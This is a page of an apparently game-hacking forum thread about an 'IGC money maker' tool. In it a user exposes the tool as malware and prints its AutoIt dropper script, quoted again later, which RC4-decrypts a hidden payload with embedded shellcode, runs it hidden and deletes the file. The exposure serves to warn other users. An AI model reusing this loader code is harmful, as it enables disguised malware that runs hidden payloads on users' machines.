IGC money maker

Page 2 of 2 1 2
07/21/2013 13:48 acpservice#16
#closerquest
07/21/2013 15:49 KING OF THE NFS WORLD#17
why the hell u are always offtopic berkay? and imahek tho why u need to insult people? just ignore and nothing ... omg
07/21/2013 16:09 acpservice#18
hahaha crazy why have this thread one star?
07/21/2013 17:00 acpservice#19
aha virus?

have a nice day berkay2578 :D
07/21/2013 17:06 berkay2578#20
Quote:
Originally Posted by acpservice View Post
aha virus?

have a nice day berkay2578 :D
You better STFU kid. It's not hard to find a self-extracting autoit + vbs script :D
HTML Code:
extracts itself to "username\RHNWS"
"667484.exe" -> AutoIT's exe (to run scripts)
runner.vbs -> "CreateObject("WScript.Shell").Run "667484.exe 429785.dat"
429785.dat; (the script)
Code:
#NoTrayIcon
$RX =  Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)
) &  Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) &
 Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)) & ".dat"
$readkey = StringTrimLeft(IniRead(@ScriptDir & "\settings.ini", 818757, "key", "
NotFound"),5)
$Read_Dat = FileRead(@ScriptDir & "\" & "920383.dat")
FileWrite($RX,_RC4($Read_Dat, $readkey))
$autoitread = IniRead(@scriptdir & "\settings.ini", "623997", "key", "NotFound")

Run($autoitread & " " & $RX ,@ScriptDir,@SW_HIDE)
Sleep(1000)
FileDelete($RX)
Func _RC4($Data, $key)
        Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C
88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DF
C000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0
000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF
0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB
6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF8607880
60FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
        Local $CodeBuffer
        $CodeBuffer = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
        DllStructSetData($CodeBuffer, 1, $OPCODE)
        Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
        DllStructSetData($Buffer, 1, $Data)
        DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($
CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $k
ey, "int", 0)
        Local $Ret = DllStructGetData($Buffer, 1)
        $Buffer = 0
        $CodeBuffer = 0
        Return $Ret
EndFunc
I reported the file to moderators already :p
07/21/2013 17:54 acpservice#21
ok nobody say this is mine .
man .
07/21/2013 17:56 nfousso#22
Quote:
Originally Posted by berkay2578 View Post
You better STFU kid. It's not hard to find a self-extracting autoit + vbs script :D
HTML Code:
extracts itself to "username\RHNWS"
"667484.exe" -> AutoIT's exe (to run scripts)
runner.vbs -> "CreateObject("WScript.Shell").Run "667484.exe 429785.dat"
429785.dat; (the script)
Code:
#NoTrayIcon
$RX =  Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)
) &  Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) & Chr(Random(65, 90, 1)) &
 Chr(Random(65, 90, 1)) &  Chr(Random(65, 90, 1)) & ".dat"
$readkey = StringTrimLeft(IniRead(@ScriptDir & "\settings.ini", 818757, "key", "
NotFound"),5)
$Read_Dat = FileRead(@ScriptDir & "\" & "920383.dat")
FileWrite($RX,_RC4($Read_Dat, $readkey))
$autoitread = IniRead(@scriptdir & "\settings.ini", "623997", "key", "NotFound")

Run($autoitread & " " & $RX ,@ScriptDir,@SW_HIDE)
Sleep(1000)
FileDelete($RX)
Func _RC4($Data, $key)
        Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C
88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DF
C000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0
000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF
0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB
6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF8607880
60FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
        Local $CodeBuffer
        $CodeBuffer = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
        DllStructSetData($CodeBuffer, 1, $OPCODE)
        Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
        DllStructSetData($Buffer, 1, $Data)
        DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($
CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $k
ey, "int", 0)
        Local $Ret = DllStructGetData($Buffer, 1)
        $Buffer = 0
        $CodeBuffer = 0
        Return $Ret
EndFunc
I reported the file to moderators already :p
you're the best for making people rubbish. You're my hero. :D
07/21/2013 18:12 berkay2578#23
Quote:
Originally Posted by nfousso View Post
you're the best for making people rubbish. You're my hero. :D
[Only registered and activated users can see links. Click Here To Register...]
07/21/2013 19:36 acpservice#24
omg you make me rubbish.
this is my my world end .
ohhh nooooooooo!!!
i am scared of you .

hey berkay have a nice day :D
07/21/2013 19:50 berkay2578#25
Quote:
Originally Posted by acpservice View Post
omg you make me rubbish.
this is my my world end .
ohhh nooooooooo!!!
i am scared of you .

hey berkay have a nice day :D
:facepalm: - btw your e-mail is banned on stopforumspam.com :p
07/21/2013 19:58 acpservice#26
ok say me what email is banned?
07/21/2013 22:39 daxter#27
closed
Page 2 of 2 1 2